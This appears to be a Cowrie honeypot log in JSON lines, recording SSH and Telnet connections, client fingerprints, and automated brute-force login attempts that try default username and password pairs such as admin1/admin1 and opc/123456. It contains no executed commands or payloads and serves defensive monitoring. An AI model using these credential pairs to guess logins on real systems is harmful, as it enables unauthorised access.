{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:27.989428Z","src_ip":"95.38.165.118","session":"1f6506311c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:28.157463Z","src_ip":"95.38.165.118","session":"1f6506311c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:29.110375Z","src_ip":"95.38.165.118","session":"1f6506311c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:30.546595Z","src_ip":"95.38.165.118","session":"1f6506311c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34986,"dst_ip":"159.203.135.109","dst_port":23,"session":"897b85f03adb","protocol":"telnet","message":"New connection: 69.4.83.194:34986 (159.203.135.109:23) [session: 897b85f03adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:32.060454Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":48946,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bdc10c639ac","protocol":"ssh","message":"New connection: 95.38.165.118:48946 (10.17.0.5:22) [session: 6bdc10c639ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:33.106996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:33.111607Z","src_ip":"95.38.165.118","session":"6bdc10c639ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:33.269362Z","src_ip":"95.38.165.118","session":"6bdc10c639ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:34.821482Z","src_ip":"95.38.165.118","session":"6bdc10c639ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:35.995997Z","src_ip":"95.38.165.118","session":"6bdc10c639ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":32832,"dst_ip":"10.17.0.5","dst_port":22,"session":"d882a118761f","protocol":"ssh","message":"New connection: 95.38.165.118:32832 (10.17.0.5:22) [session: d882a118761f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:37.941410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:38.081521Z","src_ip":"95.38.165.118","session":"d882a118761f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:38.520686Z","src_ip":"95.38.165.118","session":"d882a118761f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:40.960414Z","src_ip":"95.38.165.118","session":"d882a118761f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:42.592961Z","src_ip":"95.38.165.118","session":"d882a118761f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":32844,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4db0528d58a","protocol":"ssh","message":"New connection: 95.38.165.118:32844 (10.17.0.5:22) [session: d4db0528d58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:43.496611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:43.501347Z","src_ip":"95.38.165.118","session":"d4db0528d58a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:44.229922Z","src_ip":"95.38.165.118","session":"d4db0528d58a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:46.736512Z","src_ip":"95.38.165.118","session":"d4db0528d58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:48.323112Z","src_ip":"95.38.165.118","session":"d4db0528d58a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":33570,"dst_ip":"10.17.0.5","dst_port":22,"session":"36686547b507","protocol":"ssh","message":"New connection: 95.38.165.118:33570 (10.17.0.5:22) [session: 36686547b507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:48.761457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:48.768960Z","src_ip":"95.38.165.118","session":"36686547b507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:48.928552Z","src_ip":"95.38.165.118","session":"36686547b507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:49.415710Z","src_ip":"95.38.165.118","session":"36686547b507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:50.824731Z","src_ip":"95.38.165.118","session":"36686547b507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":33578,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8742c98791b","protocol":"ssh","message":"New connection: 95.38.165.118:33578 (10.17.0.5:22) [session: d8742c98791b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:53.650812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:53.655561Z","src_ip":"95.38.165.118","session":"d8742c98791b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:53.821728Z","src_ip":"95.38.165.118","session":"d8742c98791b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":42548,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd105e3470fb","protocol":"telnet","message":"New connection: 178.128.93.180:42548 (10.17.0.5:23) [session: bd105e3470fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:54.353875Z"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:54.802833Z","src_ip":"95.38.165.118","session":"d8742c98791b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:56.419587Z","src_ip":"95.38.165.118","session":"d8742c98791b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":46012,"dst_ip":"159.203.135.109","dst_port":22,"session":"159ccd62b3ae","protocol":"ssh","message":"New connection: 45.148.10.152:46012 (159.203.135.109:22) [session: 159ccd62b3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:58.382825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:58.386316Z","src_ip":"45.148.10.152","session":"159ccd62b3ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:58.471680Z","src_ip":"45.148.10.152","session":"159ccd62b3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:58.843035Z","src_ip":"45.148.10.152","session":"159ccd62b3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36260,"dst_ip":"10.17.0.5","dst_port":22,"session":"7262a6170976","protocol":"ssh","message":"New connection: 95.38.165.118:36260 (10.17.0.5:22) [session: 7262a6170976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:59.222490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:59.370096Z","src_ip":"95.38.165.118","session":"7262a6170976","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:59.477257Z","src_ip":"95.38.165.118","session":"7262a6170976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:00.355997Z","src_ip":"95.38.165.118","session":"7262a6170976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:01.530571Z","src_ip":"95.38.165.118","session":"7262a6170976","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36268,"dst_ip":"10.17.0.5","dst_port":22,"session":"98debd6b841e","protocol":"ssh","message":"New connection: 95.38.165.118:36268 (10.17.0.5:22) [session: 98debd6b841e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:04.680879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:04.686437Z","src_ip":"95.38.165.118","session":"98debd6b841e","protocol":"ssh"}
